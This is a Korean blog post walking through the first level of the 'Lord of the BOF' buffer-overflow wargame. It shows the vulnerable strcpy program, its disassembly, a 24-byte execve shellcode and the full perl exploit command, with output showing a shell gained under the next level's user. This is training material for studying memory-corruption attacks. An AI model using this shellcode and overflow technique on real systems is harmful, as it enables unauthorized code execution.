본문 바로가기

워게임/lord of bof

level gate -> 1


[gate@localhost gate]$ cat gremlin.c

/*

           The Lord of the BOF : The Fellowship of the BOF

           - gremlin

           - simple BOF

*/

 

int main(int argc, char *argv[])

{

    char buffer[256];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

} 


(gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>: push   %ebp

0x8048431 <main+1>: mov    %ebp,%esp

0x8048433 <main+3>: sub    %esp,0x100 //256byte 할당

0x8048439 <main+9>: cmp    DWORD PTR [%ebp+8],1 //인자 검사

0x804843d <main+13>: jg     0x8048456 <main+38>

0x804843f <main+15>: push   0x80484e0

0x8048444 <main+20>: call   0x8048350 <printf>

0x8048449 <main+25>: add    %esp,4

0x804844c <main+28>: push   0

0x804844e <main+30>: call   0x8048360 <exit>

0x8048453 <main+35>: add    %esp,4

//여기까진 인자가 없을 때 출력하는 곳


0x8048456 <main+38>: mov    %eax,DWORD PTR [%ebp+12] //

0x8048459 <main+41>: add    %eax,4

0x804845c <main+44>: mov    %edx,DWORD PTR [%eax]

0x804845e <main+46>: push   %edx

0x804845f <main+47>: lea    %eax,[%ebp-256]

0x8048465 <main+53>: push   %eax

0x8048466 <main+54>: call   0x8048370 <strcpy>

0x804846b <main+59>: add    %esp,8

0x804846e <main+62>: lea    %eax,[%ebp-256]

//입력된 값을 고대로 뿌려주는데 그 값이 ebp-256에 저장되어 있다는걸 알 수 있음

0x8048474 <main+68>: push   %eax

0x8048475 <main+69>: push   0x80484ec

0x804847a <main+74>: call   0x8048350 <printf>

0x804847f <main+79>: add    %esp,8

0x8048482 <main+82>: leave


우선 앞으로 모든 문제는 bash2에서 푼다는걸 알려드림당

단순 bof네요

방금 막 검색으로 24바이트 shellcode를 찾았습니다(http://shellblade.net/shellcode.html)

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

일단 입력버퍼가 256byte. 거기에 sfp 더해서 260byte. 260byte부터 오버플로가 나네요.

구조는 대충 [buffer][sfp][ret] 일테고

60byte는 nop, 200byte부턴 shellcode 넣고 나머진 nop, 176byte가 뒤에오는 nop

그리고 적당히 0xbffffc78에서 실행시켜봅니다.

흠 주소가 다른지 안되네여 까보니까 0xbffffc78이아니라 b78.. 다시 공격해보면

[gate@localhost gate]$ ./gremlin `perl -e 'print "\x90"x60, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80", "\x90"x176, "\x78\xfb\xff\xbf"'`

????????????????????????????????????????????????????????????1h//shh/bin??S??

                                                                                €????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????x?

bash$ id

uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)

bash$ my-pass

euid = 501

hello bof world


'워게임 > lord of bof' 카테고리의 다른 글

level 5 -> 6  (0) 2015.10.23
level 4 -> 5  (0) 2015.10.23
level 3 -> 4  (0) 2015.10.23
level 2 -> 3  (0) 2015.10.23
level 1 -> 2  (0) 2015.10.23